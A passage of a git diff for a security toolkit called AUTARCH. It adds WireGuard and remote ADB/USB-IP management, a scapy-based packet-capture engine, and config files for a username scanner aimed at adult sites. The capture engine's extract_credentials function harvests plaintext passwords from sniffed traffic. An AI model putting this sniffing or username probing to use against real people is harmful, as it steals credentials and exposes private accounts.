Generation ───────────────────────────────────── + + def generate_client_config(self, client): + """Build the .conf file content for a client.""" + server_pubkey = self._get_server_public_key() + server_endpoint = self._get_server_endpoint() + + lines = ['[Interface]'] + if client.get('private_key'): + lines.append(f"PrivateKey = {client['private_key']}") + lines.append(f"Address = {client['assigned_ip']}/32") + lines.append(f"DNS = {client.get('dns', self._default_dns)}") + lines.append('') + lines.append('[Peer]') + lines.append(f'PublicKey = {server_pubkey}') + if client.get('preshared_key'): + lines.append(f"PresharedKey = {client['preshared_key']}") + lines.append(f'Endpoint = {server_endpoint}:{self._listen_port}') + lines.append(f"AllowedIPs = {client.get('allowed_ips', self._default_allowed_ips)}") + lines.append('PersistentKeepalive = 25') + lines.append('') + return '\n'.join(lines) + + def generate_qr_code(self, config_text): + """Generate QR code PNG bytes from config text.""" + try: + import qrcode + qr = qrcode.QRCode( + version=1, box_size=10, border=4, + error_correction=qrcode.constants.ERROR_CORRECT_L) + qr.add_data(config_text) + qr.make(fit=True) + img = qr.make_image(fill_color='black', back_color='white') + buf = io.BytesIO() + img.save(buf, format='PNG') + buf.seek(0) + return buf.getvalue() + except ImportError: + return None + + # ── Remote ADB — TCP/IP ────────────────────────────────────────── + + def adb_connect(self, client_ip): + """Connect to device via ADB TCP/IP over WireGuard tunnel.""" + stdout, stderr, rc = self._run_adb( + ['connect', f'{client_ip}:5555'], timeout=15) + output = (stdout + stderr).strip() + if 'connected' in output.lower(): + return {'ok': True, 'message': output} + return {'ok': False, 'error': output or 'Connection failed'} + + def adb_disconnect(self, client_ip): + """Disconnect ADB TCP/IP device.""" + stdout, stderr, rc = self._run_adb( + ['disconnect', f'{client_ip}:5555'], timeout=10) + return {'ok': rc == 0, 'message': (stdout + stderr).strip()} + + def get_adb_remote_devices(self): + """Filter adb devices for WireGuard subnet IPs.""" + stdout, _, rc = self._run_adb(['devices', '-l'], timeout=10) + if rc != 0: + return [] + # Extract WG subnet prefix + prefix = '.'.join(self._subnet.split('.')[:3]) + '.' + devices = [] + for line in stdout.strip().split('\n')[1:]: # skip header + line = line.strip() + if not line or 'List of' in line: + continue + parts = line.split() + if parts and parts[0].startswith(prefix): + serial = parts[0] + state = parts[1] if len(parts) > 1 else 'unknown' + model = '' + for p in parts[2:]: + if p.startswith('model:'): + model = p.split(':', 1)[1] + devices.append({ + 'serial': serial, + 'state': state, + 'model': model, + 'ip': serial.split(':')[0], + }) + return devices + + def auto_connect_peers(self): + """Try ADB connect on all active WG peers.""" + peer_status = self.get_peer_status() + clients = self._load_clients() + results = [] + + for client in clients.values(): + if not client.get('enabled', True): + continue + # Check if peer has recent handshake + pub_key = client['public_key'] + peer = peer_status.get(pub_key, {}) + hs = peer.get('latest_handshake') + if hs is not None and hs < 180: # Active within 3 minutes + ip = client['assigned_ip'] + result = self.adb_connect(ip) + results.append({ + 'name': client['name'], + 'ip': ip, + 'result': result, + }) + + return {'ok': True, 'results': results, 'attempted': len(results)} + + # ── Remote ADB — USB/IP ────────────────────────────────────────── + + def usbip_available(self): + """Check if usbip binary exists.""" + return self._usbip_bin is not None + + def check_usbip_modules(self): + """Check if vhci-hcd kernel module is loaded.""" + stdout, _, rc = self._run_cmd(['lsmod'], timeout=5) + return 'vhci_hcd' in stdout + + def load_usbip_modules(self): + """Load vhci-hcd kernel module.""" + stdout, stderr, rc = self._run_cmd( + ['sudo', 'modprobe', 'vhci-hcd'], timeout=10) + if rc == 0: + return {'ok': True, 'message': 'vhci-hcd module loaded'} + return {'ok': False, 'error': stderr.strip() or 'Failed to load module'} + + def usbip_list_remote(self, client_ip): + """List exportable USB devices on remote host.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found', 'devices': []} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'list', '-r', client_ip], timeout=15) + if rc != 0: + return {'ok': False, 'error': stderr.strip() or 'Failed to list', + 'devices': []} + + devices = [] + current = None + for line in stdout.split('\n'): + line = line.strip() + # Parse device lines like: "1-1: vendor:product ..." + m = re.match(r'(\d+-[\d.]+):\s*(.+)', line) + if m: + current = { + 'busid': m.group(1), + 'description': m.group(2).strip(), + } + devices.append(current) + elif current and ':' in line and not line.startswith('usbip'): + # Additional info lines + current['description'] += f' | {line}' + + return {'ok': True, 'devices': devices} + + def usbip_attach(self, client_ip, busid): + """Attach remote USB device via USB/IP.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'attach', '-r', client_ip, '-b', busid], + timeout=15) + if rc == 0: + return {'ok': True, 'message': f'Attached {busid} from {client_ip}'} + return {'ok': False, 'error': stderr.strip() or 'Failed to attach'} + + def usbip_detach(self, port): + """Detach USB/IP virtual device by port number.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found'} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'detach', '-p', str(port)], timeout=10) + if rc == 0: + return {'ok': True, 'message': f'Detached port {port}'} + return {'ok': False, 'error': stderr.strip() or 'Failed to detach'} + + def usbip_port_status(self): + """List imported virtual USB devices.""" + if not self._usbip_bin: + return {'ok': False, 'error': 'usbip not found', 'ports': []} + stdout, stderr, rc = self._run_cmd( + ['sudo', self._usbip_bin, 'port'], timeout=10) + if rc != 0: + return {'ok': False, 'error': stderr.strip(), 'ports': []} + + ports = [] + current = None + for line in stdout.split('\n'): + line = line.strip() + m = re.match(r'Port\s+(\d+):\s*(.+)', line) + if m: + current = { + 'port': m.group(1), + 'status': m.group(2).strip(), + } + ports.append(current) + elif current and line and not line.startswith('Port'): + current['detail'] = line + + return {'ok': True, 'ports': ports} + + def get_usbip_status(self): + """Combined USB/IP status.""" + available = self.usbip_available() + modules_loaded = self.check_usbip_modules() if available else False + ports = self.usbip_port_status() if available else {'ports': []} + return { + 'available': available, + 'modules_loaded': modules_loaded, + 'active_imports': len(ports.get('ports', [])), + 'ports': ports.get('ports', []), + } + + # ── UPnP Integration ───────────────────────────────────────────── + + def refresh_upnp_mapping(self): + """Ensure port 51820/UDP is UPnP-mapped.""" + try: + from core.upnp import get_upnp_manager + mgr = get_upnp_manager() + result = mgr.add_mapping( + int(self._listen_port), 'UDP', + f'WireGuard VPN (port {self._listen_port})') + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + +# ── Utility Functions ──────────────────────────────────────────────── + +def _parse_handshake(hs_str): + """Parse handshake time string into seconds ago, or None.""" + total_seconds = 0 + parts = hs_str.replace(' ago', '').split(',') + for part in parts: + part = part.strip() + match = re.match(r'(\d+)\s+(second|minute|hour|day)', part) + if match: + val = int(match.group(1)) + unit = match.group(2) + if unit == 'second': + total_seconds += val + elif unit == 'minute': + total_seconds += val * 60 + elif unit == 'hour': + total_seconds += val * 3600 + elif unit == 'day': + total_seconds += val * 86400 + return total_seconds if total_seconds > 0 else None + + +def _parse_transfer(s): + """Parse transfer string like '1.5 MiB' into bytes.""" + match = re.match(r'([\d.]+)\s*(\w+)', s) + if not match: + return 0 + val = float(match.group(1)) + unit = match.group(2) + multipliers = { + 'B': 1, 'KiB': 1024, 'MiB': 1024**2, + 'GiB': 1024**3, 'TiB': 1024**4 + } + return int(val * multipliers.get(unit, 1)) + + +# ── Singleton ──────────────────────────────────────────────────────── + +_manager = None + +def get_wireguard_manager(config=None): + global _manager + if _manager is None: + # Load config from autarch_settings.conf + if config is None: + try: + from core.config import get_config + cfg = get_config() + config = { + 'config_path': cfg.get('wireguard', 'config_path', + fallback='/etc/wireguard/wg0.conf'), + 'interface': cfg.get('wireguard', 'interface', fallback='wg0'), + 'subnet': cfg.get('wireguard', 'subnet', fallback='10.1.0.0/24'), + 'server_address': cfg.get('wireguard', 'server_address', + fallback='10.1.0.1'), + 'listen_port': cfg.get('wireguard', 'listen_port', fallback='51820'), + 'default_dns': cfg.get('wireguard', 'default_dns', + fallback='1.1.1.1, 8.8.8.8'), + 'default_allowed_ips': cfg.get('wireguard', 'default_allowed_ips', + fallback='0.0.0.0/0, ::/0'), + } + except Exception: + config = {} + _manager = WireGuardManager(config) + return _manager diff --git a/core/wireshark.py b/core/wireshark.py new file mode 100644 index 0000000..4fb08f5 --- /dev/null +++ b/core/wireshark.py @@ -0,0 +1,754 @@ +""" +AUTARCH Wireshark/Packet Analysis Engine +Scapy-based packet capture and analysis with optional tshark fallback. + +Primary engine: scapy (pure Python, needs libpcap for live capture) +Fallback: tshark CLI (if installed, for advanced protocol dissection) +""" + +import os +import re +import json +import time +import struct +import subprocess +import threading +from pathlib import Path +from datetime import datetime +from collections import Counter, defaultdict +from typing import Optional, List, Dict, Any, Callable + +from core.paths import find_tool, get_data_dir + +# Try importing scapy +SCAPY_AVAILABLE = False +try: + from scapy.all import ( + sniff, rdpcap, wrpcap, get_if_list, conf, + IP, IPv6, TCP, UDP, DNS, DNSQR, DNSRR, Raw, Ether, ARP, ICMP, + ) + SCAPY_AVAILABLE = True +except ImportError: + pass + +# Check for tshark +TSHARK_PATH = find_tool('tshark') + + +class WiresharkManager: + """Packet capture and analysis using scapy + optional tshark.""" + + def __init__(self): + self._capture_thread = None + self._capture_running = False + self._capture_packets = [] + self._capture_stats = {} + self._capture_callback = None + self._last_packets = None + self._capture_file = None + self._data_dir = get_data_dir() / 'captures' + self._data_dir.mkdir(parents=True, exist_ok=True) + + @property + def scapy_available(self): + return SCAPY_AVAILABLE + + @property + def tshark_available(self): + return TSHARK_PATH is not None + + @property + def can_capture(self): + """Check if live capture is possible (needs root + libpcap).""" + if not SCAPY_AVAILABLE: + return False + try: + return os.geteuid() == 0 + except AttributeError: + # Windows - check differently + return True + + def get_status(self) -> Dict[str, Any]: + """Get engine status.""" + return { + 'scapy': SCAPY_AVAILABLE, + 'tshark': self.tshark_available, + 'tshark_path': TSHARK_PATH or '', + 'can_capture': self.can_capture, + 'capturing': self._capture_running, + } + + # ==================== INTERFACES ==================== + + def list_interfaces(self) -> List[Dict[str, str]]: + """List available network interfaces.""" + interfaces = [] + + if SCAPY_AVAILABLE: + try: + for iface in get_if_list(): + interfaces.append({'name': iface, 'description': '', 'source': 'scapy'}) + except Exception: + pass + + # Fallback/supplement with tshark + if TSHARK_PATH and not interfaces: + try: + result = subprocess.run( + [TSHARK_PATH, '-D'], + capture_output=True, text=True, timeout=10 + ) + if result.returncode == 0: + for line in result.stdout.strip().split('\n'): + if line.strip(): + # Format: "1. eth0 (Description)" + match = re.match(r'\d+\.\s+(\S+)\s*(?:\((.+)\))?', line) + if match: + interfaces.append({ + 'name': match.group(1), + 'description': match.group(2) or '', + 'source': 'tshark', + }) + except Exception: + pass + + # Fallback to /sys/class/net + if not interfaces: + net_dir = Path('/sys/class/net') + if net_dir.exists(): + for d in sorted(net_dir.iterdir()): + interfaces.append({'name': d.name, 'description': '', 'source': 'sysfs'}) + + return interfaces + + # ==================== CAPTURE ==================== + + def start_capture(self, interface: str = None, bpf_filter: str = None, + duration: int = 30, output_file: str = None, + callback: Callable = None) -> Dict[str, Any]: + """Start packet capture in a background thread. + + Args: + interface: Network interface (None = default) + bpf_filter: BPF filter string (e.g., "tcp port 80") + duration: Capture duration in seconds (max 300) + output_file: Save to pcap file + callback: Called with each packet dict for live streaming + + Returns: + Status dict + """ + if not SCAPY_AVAILABLE: + return {'error': 'Scapy not available'} + if not self.can_capture: + return {'error': 'Root privileges required for live capture'} + if self._capture_running: + return {'error': 'Capture already running'} + + duration = max(5, min(300, duration)) + self._capture_packets = [] + self._capture_running = True + self._capture_callback = callback + self._capture_stats = { + 'interface': interface or 'default', + 'filter': bpf_filter or '', + 'start_time': datetime.now().isoformat(), + 'duration': duration, + 'packet_count': 0, + } + + if output_file: + self._capture_file = output_file + else: + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + self._capture_file = str(self._data_dir / f'capture_{ts}.pcap') + + def _do_capture(): + try: + kwargs = { + 'timeout': duration, + 'prn': self._packet_handler, + 'store': True, + } + if interface: + kwargs['iface'] = interface + if bpf_filter: + kwargs['filter'] = bpf_filter + + packets = sniff(**kwargs) + self._last_packets = packets + + # Save to pcap + if self._capture_file and packets: + wrpcap(self._capture_file, packets) + self._capture_stats['output_file'] = self._capture_file + + except Exception as e: + self._capture_stats['error'] = str(e) + finally: + self._capture_running = False + self._capture_stats['end_time'] = datetime.now().isoformat() + self._capture_stats['packet_count'] = len(self._capture_packets) + + self._capture_thread = threading.Thread(target=_do_capture, daemon=True) + self._capture_thread.start() + + return {'status': 'started', 'file': self._capture_file} + + def _packet_handler(self, pkt): + """Process each captured packet.""" + summary = self._packet_to_dict(pkt) + self._capture_packets.append(summary) + self._capture_stats['packet_count'] = len(self._capture_packets) + + if self._capture_callback: + try: + self._capture_callback(summary) + except Exception: + pass + + def stop_capture(self) -> Dict[str, Any]: + """Stop running capture.""" + if not self._capture_running: + return {'status': 'not_running'} + + self._capture_running = False + # Signal scapy to stop - set a flag it checks + try: + conf.sniff_promisc = False # This won't stop it, but thread will timeout + except Exception: + pass + + return { + 'status': 'stopping', + 'packets': len(self._capture_packets), + 'file': self._capture_file, + } + + def get_capture_stats(self) -> Dict[str, Any]: + """Get current/last capture statistics.""" + stats = dict(self._capture_stats) + stats['running'] = self._capture_running + stats['packet_count'] = len(self._capture_packets) + return stats + + # ==================== PCAP READING ==================== + + def read_pcap(self, filepath: str, max_packets: int = 10000) -> Dict[str, Any]: + """Read and parse a PCAP file. + + Args: + filepath: Path to pcap file + max_packets: Maximum packets to load + + Returns: + Dict with packets list and metadata + """ + p = Path(filepath) + if not p.exists(): + return {'error': f'File not found: {filepath}'} + + if not SCAPY_AVAILABLE: + # Fallback to tshark + if TSHARK_PATH: + return self._read_pcap_tshark(filepath, max_packets) + return {'error': 'Neither scapy nor tshark available'} + + try: + packets = rdpcap(str(p), count=max_packets) + self._last_packets = packets + + packet_list = [] + for pkt in packets: + packet_list.append(self._packet_to_dict(pkt)) + + return { + 'file': str(p), + 'size': p.stat().st_size, + 'total_packets': len(packets), + 'packets': packet_list, + } + except Exception as e: + return {'error': f'Failed to read PCAP: {e}'} + + def _read_pcap_tshark(self, filepath: str, max_packets: int) -> Dict[str, Any]: + """Read PCAP using tshark fallback.""" + try: + result = subprocess.run( + [TSHARK_PATH, '-r', filepath, '-c', str(max_packets), + '-T', 'fields', + '-e', 'frame.number', '-e', 'frame.time_relative', + '-e', 'ip.src', '-e', 'ip.dst', + '-e', 'frame.protocols', '-e', 'frame.len', + '-e', '_ws.col.Info', + '-E', 'separator=|'], + capture_output=True, text=True, timeout=30 + ) + packets = [] + for line in result.stdout.strip().split('\n'): + if not line.strip(): + continue + parts = line.split('|') + if len(parts) >= 6: + packets.append({ + 'number': int(parts[0]) if parts[0] else 0, + 'time': parts[1], + 'src': parts[2], + 'dst': parts[3], + 'protocol': parts[4].split(':')[-1] if parts[4] else '', + 'length': int(parts[5]) if parts[5] else 0, + 'info': parts[6] if len(parts) > 6 else '', + }) + return { + 'file': filepath, + 'total_packets': len(packets), + 'packets': packets, + 'source': 'tshark', + } + except Exception as e: + return {'error': f'tshark failed: {e}'} + + def _packet_to_dict(self, pkt) -> Dict[str, Any]: + """Convert a scapy packet to a serializable dict.""" + d = { + 'length': len(pkt), + 'protocol': '', + 'src': '', + 'dst': '', + 'sport': None, + 'dport': None, + 'info': '', + 'time': float(pkt.time) if hasattr(pkt, 'time') else 0, + } + + if pkt.haslayer(IP): + d['src'] = pkt[IP].src + d['dst'] = pkt[IP].dst + d['protocol'] = 'IP' + elif pkt.haslayer(IPv6): + d['src'] = pkt[IPv6].src + d['dst'] = pkt[IPv6].dst + d['protocol'] = 'IPv6' + elif pkt.haslayer(ARP): + d['protocol'] = 'ARP' + d['src'] = pkt[ARP].psrc + d['dst'] = pkt[ARP].pdst + d['info'] = f'ARP {pkt[ARP].op}' + + if pkt.haslayer(TCP): + d['sport'] = pkt[TCP].sport + d['dport'] = pkt[TCP].dport + d['protocol'] = 'TCP' + flags = pkt[TCP].flags + d['info'] = f'{pkt[TCP].sport} -> {pkt[TCP].dport} [{flags}]' + elif pkt.haslayer(UDP): + d['sport'] = pkt[UDP].sport + d['dport'] = pkt[UDP].dport + d['protocol'] = 'UDP' + d['info'] = f'{pkt[UDP].sport} -> {pkt[UDP].dport}' + elif pkt.haslayer(ICMP): + d['protocol'] = 'ICMP' + d['info'] = f'Type {pkt[ICMP].type} Code {pkt[ICMP].code}' + + if pkt.haslayer(DNS): + d['protocol'] = 'DNS' + if pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname + if isinstance(qname, bytes): + qname = qname.decode(errors='ignore').rstrip('.') + d['info'] = f'Query: {qname}' + + # Detect common application protocols by port + if d['protocol'] in ('TCP', 'UDP'): + ports = (d.get('sport'), d.get('dport')) + if 80 in ports or 8080 in ports: + d['protocol'] = 'HTTP' + elif 443 in ports or 8443 in ports: + d['protocol'] = 'TLS' + elif 53 in ports: + d['protocol'] = 'DNS' + elif 22 in ports: + d['protocol'] = 'SSH' + elif 21 in ports: + d['protocol'] = 'FTP' + elif 25 in ports or 587 in ports: + d['protocol'] = 'SMTP' + elif 23 in ports: + d['protocol'] = 'Telnet' + + return d + + # ==================== ANALYSIS ==================== + + def _get_packets(self, packets=None): + """Get packets from argument or last loaded.""" + if packets is not None: + return packets + if self._last_packets is not None: + return self._last_packets + if self._capture_packets: + return self._capture_packets + return [] + + def get_protocol_hierarchy(self, packets=None) -> Dict[str, Any]: + """Get protocol distribution from packets. + + Returns dict with protocol counts and percentages. + """ + pkts = self._get_packets(packets) + if not pkts: + return {'protocols': {}, 'total': 0} + + counts = Counter() + total = len(pkts) + + for pkt in pkts: + if isinstance(pkt, dict): + proto = pkt.get('protocol', 'Unknown') + else: + proto = self._packet_to_dict(pkt).get('protocol', 'Unknown') + counts[proto] += 1 + + protocols = {} + for proto, count in counts.most_common(): + protocols[proto] = { + 'count': count, + 'percent': round(count * 100 / total, 1) if total else 0, + } + + return {'protocols': protocols, 'total': total} + + def extract_conversations(self, packets=None) -> List[Dict[str, Any]]: + """Extract IP conversations (src-dst pairs with stats).""" + pkts = self._get_packets(packets) + if not pkts: + return [] + + convos = defaultdict(lambda: {'packets': 0, 'bytes': 0, 'protocols': set()}) + + for pkt in pkts: + if isinstance(pkt, dict): + src = pkt.get('src', '') + dst = pkt.get('dst', '') + proto = pkt.get('protocol', '') + length = pkt.get('length', 0) + else: + d = self._packet_to_dict(pkt) + src, dst, proto, length = d['src'], d['dst'], d['protocol'], d['length'] + + if not src or not dst: + continue + + # Normalize key (sorted so A->B and B->A are same conversation) + key = tuple(sorted([src, dst])) + convos[key]['packets'] += 1 + convos[key]['bytes'] += length + convos[key]['protocols'].add(proto) + convos[key]['src'] = key[0] + convos[key]['dst'] = key[1] + + result = [] + for key, data in sorted(convos.items(), key=lambda x: x[1]['packets'], reverse=True): + result.append({ + 'src': data['src'], + 'dst': data['dst'], + 'packets': data['packets'], + 'bytes': data['bytes'], + 'protocols': list(data['protocols']), + }) + + return result[:100] # Top 100 + + def extract_dns_queries(self, packets=None) -> List[Dict[str, Any]]: + """Extract DNS queries and responses.""" + pkts = self._get_packets(packets) + if not pkts: + return [] + + queries = [] + + for pkt in pkts: + if isinstance(pkt, dict): + # From captured packet summaries - limited info + if pkt.get('protocol') == 'DNS' and 'Query:' in pkt.get('info', ''): + queries.append({ + 'query': pkt['info'].replace('Query: ', ''), + 'type': 'A', + 'src': pkt.get('src', ''), + 'response': '', + }) + else: + # Full scapy packet + if pkt.haslayer(DNS): + if pkt.haslayer(DNSQR): + qname = pkt[DNSQR].qname + if isinstance(qname, bytes): + qname = qname.decode(errors='ignore').rstrip('.') + qtype_num = pkt[DNSQR].qtype + qtype_map = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA', + 15: 'MX', 16: 'TXT', 28: 'AAAA', 33: 'SRV'} + qtype = qtype_map.get(qtype_num, str(qtype_num)) + + response = '' + if pkt.haslayer(DNSRR) and pkt[DNS].ancount > 0: + try: + rdata = pkt[DNSRR].rdata + if isinstance(rdata, bytes): + rdata = rdata.decode(errors='ignore') + response = str(rdata) + except Exception: + pass + + src = pkt[IP].src if pkt.haslayer(IP) else '' + queries.append({ + 'query': qname, + 'type': qtype, + 'src': src, + 'response': response, + }) + + # Deduplicate and count + seen = {} + for q in queries: + key = q['query'] + if key in seen: + seen[key]['count'] += 1 + if q['response'] and not seen[key]['response']: + seen[key]['response'] = q['response'] + else: + seen[key] = {**q, 'count': 1} + + return sorted(seen.values(), key=lambda x: x['count'], reverse=True)[:200] + + def extract_http_requests(self, packets=None) -> List[Dict[str, Any]]: + """Extract HTTP requests from packets.""" + pkts = self._get_packets(packets) + if not pkts: + return [] + + requests = [] + http_methods = [b'GET', b'POST', b'PUT', b'DELETE', b'HEAD', b'OPTIONS', b'PATCH'] + + for pkt in pkts: + if isinstance(pkt, dict): + continue # Can't extract HTTP from summaries + + if not pkt.haslayer(Raw): + continue + if not pkt.haslayer(TCP): + continue + + try: + payload = bytes(pkt[Raw].load) + # Check if it starts with an HTTP method + is_http = any(payload.startswith(m + b' ') for m in http_methods) + if not is_http: + continue + + lines = payload.split(b'\r\n') + request_line = lines[0].decode(errors='ignore') + parts = request_line.split(' ') + if len(parts) < 2: + continue + + method = parts[0] + path = parts[1] + host = '' + user_agent = '' + content_type = '' + + for line in lines[1:]: + line_str = line.decode(errors='ignore') + lower = line_str.lower() + if lower.startswith('host:'): + host = line_str.split(':', 1)[1].strip() + elif lower.startswith('user-agent:'): + user_agent = line_str.split(':', 1)[1].strip() + elif lower.startswith('content-type:'): + content_type = line_str.split(':', 1)[1].strip() + + src = pkt[IP].src if pkt.haslayer(IP) else '' + dst = pkt[IP].dst if pkt.haslayer(IP) else '' + + requests.append({ + 'method': method, + 'host': host, + 'path': path, + 'src': src, + 'dst': dst, + 'user_agent': user_agent[:100], + 'content_type': content_type, + }) + except Exception: + continue + + return requests[:500] + + def extract_credentials(self, packets=None) -> List[Dict[str, Any]]: + """Detect plaintext credentials in packets. + + Checks FTP, HTTP Basic Auth, Telnet, SMTP, POP3, IMAP. + """ + pkts = self._get_packets(packets) + if not pkts: + return [] + + creds = [] + + for pkt in pkts: + if isinstance(pkt, dict): + continue + + if not pkt.haslayer(Raw) or not pkt.haslayer(TCP): + continue + + try: + payload = bytes(pkt[Raw].load) + payload_str = payload.decode(errors='ignore') + payload_lower = payload_str.lower() + src = pkt[IP].src if pkt.haslayer(IP) else '' + dst = pkt[IP].dst if pkt.haslayer(IP) else '' + dport = pkt[TCP].dport + + # FTP credentials + if dport == 21: + if payload_str.startswith('USER '): + creds.append({ + 'protocol': 'FTP', + 'type': 'username', + 'value': payload_str.split(' ', 1)[1].strip(), + 'src': src, 'dst': dst, + }) + elif payload_str.startswith('PASS '): + creds.append({ + 'protocol': 'FTP', + 'type': 'password', + 'value': payload_str.split(' ', 1)[1].strip(), + 'src': src, 'dst': dst, + }) + + # HTTP Basic Auth + if dport in (80, 8080, 8443): + auth_match = re.search(r'Authorization:\s*Basic\s+(\S+)', payload_str, re.IGNORECASE) + if auth_match: + import base64 + try: + decoded = base64.b64decode(auth_match.group(1)).decode(errors='ignore') + creds.append({ + 'protocol': 'HTTP', + 'type': 'basic_auth', + 'value': decoded, + 'src': src, 'dst': dst, + }) + except Exception: + pass + + # HTTP form data (POST with password fields) + if dport in (80, 8080) and b'POST' in payload[:10]: + for pattern in [r'password=([^&\s]+)', r'passwd=([^&\s]+)', r'pass=([^&\s]+)']: + match = re.search(pattern, payload_str, re.IGNORECASE) + if match: + creds.append({ + 'protocol': 'HTTP', + 'type': 'form_password', + 'value': match.group(1), + 'src': src, 'dst': dst, + }) + break + + # SMTP AUTH + if dport in (25, 587): + if payload_str.startswith('AUTH LOGIN') or payload_str.startswith('AUTH PLAIN'): + creds.append({ + 'protocol': 'SMTP', + 'type': 'auth', + 'value': payload_str.strip(), + 'src': src, 'dst': dst, + }) + + # Telnet (look for login/password prompts followed by data) + if dport == 23: + if any(k in payload_lower for k in ['login:', 'username:', 'password:']): + creds.append({ + 'protocol': 'Telnet', + 'type': 'prompt', + 'value': payload_str.strip()[:100], + 'src': src, 'dst': dst, + }) + + # POP3 + if dport == 110: + if payload_str.startswith('USER ') or payload_str.startswith('PASS '): + creds.append({ + 'protocol': 'POP3', + 'type': 'auth', + 'value': payload_str.strip(), + 'src': src, 'dst': dst, + }) + + except Exception: + continue + + return creds[:100] + + # ==================== EXPORT ==================== + + def export_packets(self, packets=None, fmt: str = 'json', + filepath: str = None) -> Dict[str, Any]: + """Export packets to JSON or CSV. + + Args: + packets: Packet list (uses last loaded if None) + fmt: 'json' or 'csv' + filepath: Output path (auto-generated if None) + + Returns: + Dict with success status and filepath + """ + pkts = self._get_packets(packets) + if not pkts: + return {'error': 'No packets to export'} + + # Convert to dicts if needed + packet_dicts = [] + for pkt in pkts: + if isinstance(pkt, dict): + packet_dicts.append(pkt) + else: + packet_dicts.append(self._packet_to_dict(pkt)) + + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + from core.paths import get_data_dir + export_dir = get_data_dir() / 'exports' + export_dir.mkdir(parents=True, exist_ok=True) + + if fmt == 'csv': + if not filepath: + filepath = str(export_dir / f'packets_{ts}.csv') + lines = ['Time,Source,Destination,Protocol,Length,Info'] + for p in packet_dicts: + lines.append(f'{p.get("time","")},{p.get("src","")},{p.get("dst","")},{p.get("protocol","")},{p.get("length",0)},{p.get("info","")}') + Path(filepath).write_text('\n'.join(lines)) + else: + if not filepath: + filepath = str(export_dir / f'packets_{ts}.json') + export_data = { + 'exported': datetime.now().isoformat(), + 'total_packets': len(packet_dicts), + 'packets': packet_dicts, + } + Path(filepath).write_text(json.dumps(export_data, indent=2)) + + return {'success': True, 'filepath': filepath, 'count': len(packet_dicts)} + + +# Global instance +_manager: Optional[WiresharkManager] = None + + +def get_wireshark_manager() -> WiresharkManager: + """Get the global WiresharkManager instance.""" + global _manager + if _manager is None: + _manager = WiresharkManager() + return _manager diff --git a/custom_adultsites.json b/custom_adultsites.json new file mode 100644 index 0000000..6d17c7c --- /dev/null +++ b/custom_adultsites.json @@ -0,0 +1,9 @@ +{ + "sites": [ + [ + "imgsrc.ru", + "https://imgsrc.ru/{}", + "status" + ] + ] +} \ No newline at end of file diff --git a/custom_sites.inf b/custom_sites.inf new file mode 100644 index 0000000..38f3bf8 --- /dev/null +++ b/custom_sites.inf @@ -0,0 +1,12 @@ +# AUTARCH Adult Site Scanner - Bulk Import File +# Add one domain per line (without http:// or https://) +# Lines starting with # are comments +# +# Example: +# example.com +# another-site.net +# subdomain.site.org +# +# After adding domains, run Bulk Import [B] again +# and provide a test username that exists on these sites. + diff --git a/data/android_protect/58051FDCG004EJ/honeypot_config.json b/data/android_protect/58051FDCG004EJ/honeypot_config.json new file mode 100644 index 0000000..668de89 --- /dev/null +++ b/data/android_protect/58051FDCG004EJ/honeypot_config.json @@ -0,0 +1,11 @@ +{ + "active": true, + "tier": 2, + "protections": { + "private_dns": "adguard", + "ad_opt_out": true, + "location_accuracy": true, + "diagnostics": true + }, + "activated_at": "2026-02-21T02:55:28.439016" +} \ No newline at end of file diff --git a/data/captures/capture_20260217_145129.pcap b/data/captures/capture_20260217_145129.pcap new file mode 100644 index 0000000..1a14bc1 Binary files /dev/null and b/data/captures/capture_20260217_145129.pcap differ diff --git a/data/captures/capture_20260217_145237.pcap b/data/captures/capture_20260217_145237.pcap new file mode 100644 index 0000000..3ded03a Binary files /dev/null and b/data/captures/capture_20260217_145237.pcap differ diff --git a/data/captures/capture_20260220_045252.pcap b/data/captures/capture_20260220_045252.pcap new file mode 100644 index 0000000..c1b1a14 Binary files /dev/null and b/data/captures/capture_20260220_045252.pcap differ diff --git a/data/certs/autarch.crt b/data/certs/autarch.crt new file mode 100644 index 0000000..e0b627c --- /dev/null +++ b/data/certs/autarch.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL +BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy +MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO +BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5 +2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L +LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o +DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp +Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW +a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o +OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD +VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB +Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg +DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41 +XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35 